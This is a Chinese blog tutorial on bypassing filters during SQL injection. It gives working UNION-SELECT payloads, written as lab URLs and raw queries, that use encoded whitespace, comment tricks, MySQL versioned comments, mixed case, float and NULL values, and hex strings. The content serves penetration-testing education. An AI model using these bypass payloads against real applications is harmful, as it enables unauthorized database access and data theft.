web安全之SQL注入绕过技术(一)

文中详细讲解web安全之SQL注入的绕过技术,通过文中内容更加深入的掌握SQL注入绕过技术原理及使用方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

SQL注入绕过技术(一)

空格绕过

在日常的sql注入中,通常会有一些防护设备,所以我们需要学习掌握sql注入绕过技术:

%09 #TAB 键(水平)
%0a #新建一行
%0c #新的一页
%0d #return 功能
%0b #TAB 键(垂直)
%a0 #空

在这里插入图片描述
当我们在浏览器中执行注入语句的时候,通常浏览器会自行将空格使用编码或者+号来代替:

vince%27+union+select+1%2C2+--++&submit=查询 

当我们使用Burp抓包时,就可以看出已将后面的中文也进行了转码,主要的作用就是避免在数据库中查询时导致报错:
在这里插入图片描述
同样我们可以使用%0b来进行代替空格:

http://192.168.1.6/06/vul/sqli/sqli_str.php?name=vince%27%0bunion%0bselect%0b1%2C2%0b--++&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述
这里是可以一起使用的,都不会报错的:

%0b%09%09%09 #联合起来使用

在这里插入图片描述
在mysql中同样可以使用下面这个来代替空格:

/**/  

在这里插入图片描述

/*aaaabbbbs*/  #因为在这个里面所有的内容是不会被执行的

在这里插入图片描述
所以我们在浏览器中同样可以使用:

http://192.168.1.6/06/vul/sqli/sqli_str.php?name=vince%27%2F**%2Funion%2F*aaaaaaa*%2Fselect%2F**%2F1%2C2+--+&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述
同样在mysql中还有另外一种可以代替空格:

/*!最少5位数字*/  

在这里插入图片描述
经测试,这个比较特殊,里面是必须是5位数字,但如果超过5位,首数字要大于5,大多的解释都是说因为版本:

select * from/*!50009*/users/*!50009*/where/*!555555*/id=1;

在这里插入图片描述
还有就是这个语句在这个里面,它的作用是不会注释的,是数字则会:

select * from/*!44444*//*!users*/where/*!555555*/id=1;

在这里插入图片描述
可以看出执行语句中的users在这个注释中,但同样执行了语句,而前面是在这个注释中的是数字,则没有被执行,而且它同样可以作为空格来使用:

select * from/*!44444*//*!users*/where/*!*/id=1;

在这里插入图片描述

大小写绕过

我们通常也会使用将执行sql语句改成大小写,来绕过:

select * from users where id=1 UniOn SelEcT 1,2,3,4;

在这里插入图片描述
在浏览器中同样可以:

http://192.168.1.6/06/vul/sqli/sqli_str.php?name=vince%27+UniOn+Select+1%2C2%23+&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

浮点数绕过

使用浮点数来进行绕过:
在这里插入图片描述
在浏览器中利用浮点数来绕过:

http://192.168.1.6/06/vul/sqli/sqli_str.php?name=8E0' union select 1,2 -- &submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

NULL值绕过

select NULL #\N NULL 都是代表NULL值

在这里插入图片描述
所以我们同样可以利用它来进行绕过:

select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=Null union select 1,2,3,NULL;

在这里插入图片描述
同样在浏览器中执行:

http://192.168.1.6/06/vul/sqli/sqli_str.php?name=\N' union select database(),user()--%20&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

引号绕过

有的时候会将引号过滤,所以我们可以使用双引号来进行绕过,因为在mysql里面也可以使用双引号作为字符串:
注:但这种必须是在程序里面也使用的双引号,才能使用双引号将其闭合。

select * from users where id="1";

在这里插入图片描述
我们也可以将这个值改为16进制来进行绕过:

select hex('admin');
select * from users where username=0x61646D696E;

在这里插入图片描述
这样即便gpc开启,但注入点是整形,同样也是可以使用16进制方法来进行绕行:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

全局变量Global

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值